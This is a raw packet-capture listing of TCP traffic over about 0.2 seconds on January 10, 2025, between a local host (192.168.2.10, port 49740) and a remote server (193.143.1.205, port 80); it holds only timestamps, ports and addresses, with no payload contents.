Jan 10, 2025 22:13:40.278786898 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278791904 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278810024 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278810978 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.278821945 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278841019 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.278898001 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.318371058 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318406105 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318418026 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318430901 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318444014 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318456888 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318469048 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318491936 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318495035 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.318502903 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318525076 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318541050 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318543911 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.318561077 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318569899 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318572998 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.318577051 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318583012 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318608046 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318615913 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.318620920 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318643093 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318655014 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318670034 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318675995 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.318681002 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318702936 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318708897 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.318710089 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318716049 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318722010 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318732977 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.318769932 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.318799019 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318823099 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318840981 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318855047 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318856001 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.318867922 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318885088 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.318886042 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.318916082 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.318989038 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319032907 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319119930 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319137096 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319149971 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319160938 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319176912 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319180012 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319192886 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319200993 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319207907 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319221020 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319240093 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319251060 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319252968 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319268942 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319283962 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319287062 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319294930 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319298983 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319327116 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319350958 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319371939 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319375038 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319375038 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319384098 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319396019 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319410086 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319418907 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319422960 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319454908 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319468021 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319492102 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319503069 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319519997 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319534063 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319540024 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319545031 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319566965 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319575071 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319578886 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319601059 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319612980 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319613934 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319624901 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319642067 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319649935 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319663048 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319669008 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319675922 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319689989 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319703102 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319704056 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319716930 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319734097 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319746017 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319766045 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319777012 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319780111 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319804907 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319804907 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319819927 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319834948 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319849968 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319849968 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319865942 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319864988 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319880009 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319891930 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319904089 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319919109 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319942951 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319945097 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319956064 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319967031 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319981098 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.319989920 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.319993019 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.320014000 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.320023060 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.320025921 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.320039034 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.320049047 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.320060015 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.320071936 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.320075989 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.320090055 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.320101976 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.320106030 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.320127964 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.321613073 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.321629047 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.321671963 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.349108934 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.349124908 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.349144936 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.349159956 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.349159956 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.349173069 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.349185944 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.349201918 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.349203110 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.349216938 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.349232912 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.349255085 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.365050077 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365087986 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365098953 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365114927 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365115881 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.365129948 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365154982 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.365161896 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365186930 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365200043 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.365202904 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365222931 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365246058 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.365269899 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.365286112 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365297079 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365317106 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365329981 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365335941 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.365345955 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365359068 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365369081 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.365397930 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.365433931 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365446091 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365457058 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365468025 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365475893 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.365483999 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365504980 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.365520000 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365530968 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365536928 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365546942 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365561008 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365571022 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.365576029 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.365607977 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.372277975 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.416774988 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.416795015 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.416806936 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.416826963 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.416856050 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.416862011 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.416862011 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.416876078 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.416889906 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.416903019 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.416915894 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.416934013 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.416939974 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.416939974 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.416951895 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.416965961 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.416980028 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.416999102 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.416999102 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417000055 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417009115 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417011976 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417033911 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417051077 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417062044 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417062044 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417076111 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417088032 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417113066 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417113066 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417113066 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417131901 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417150021 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417157888 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417165041 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417171001 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417176962 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417182922 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417187929 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417187929 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417188883 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417200089 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417211056 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417236090 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417249918 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417259932 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417259932 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417265892 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417279005 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417292118 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417311907 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417323112 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417324066 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417337894 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417339087 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417354107 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417366982 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417382002 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417388916 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417388916 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417399883 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417407036 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417413950 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417421103 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417427063 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417440891 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417440891 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417450905 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417470932 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417481899 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417494059 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417509079 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417511940 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417511940 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417521954 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417536020 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417551994 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417561054 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417561054 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417565107 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417577028 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417598009 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417602062 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417617083 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417630911 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417644024 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417653084 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417654037 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417654037 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417665005 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417680979 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417705059 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417705059 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417705059 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417720079 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417736053 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417749882 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417752028 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417762995 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417778015 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417793036 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417807102 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417807102 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417807102 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417824030 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417839050 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417850971 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417864084 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417872906 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417872906 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417877913 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417893887 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417905092 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417918921 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417928934 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417928934 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417934895 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.417977095 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.417977095 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.436152935 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.436177015 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.436196089 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.436209917 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.436219931 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.436227083 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.436243057 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.436259985 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.436270952 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.436290979 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.436290979 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.436317921 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.452033043 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452047110 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452059031 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452071905 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452091932 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452105999 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452117920 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452132940 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452145100 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452156067 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.452188015 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.452188015 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.452188969 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452210903 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452224016 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452239037 CET	80	49740	193.143.1.205	192.168.2.10
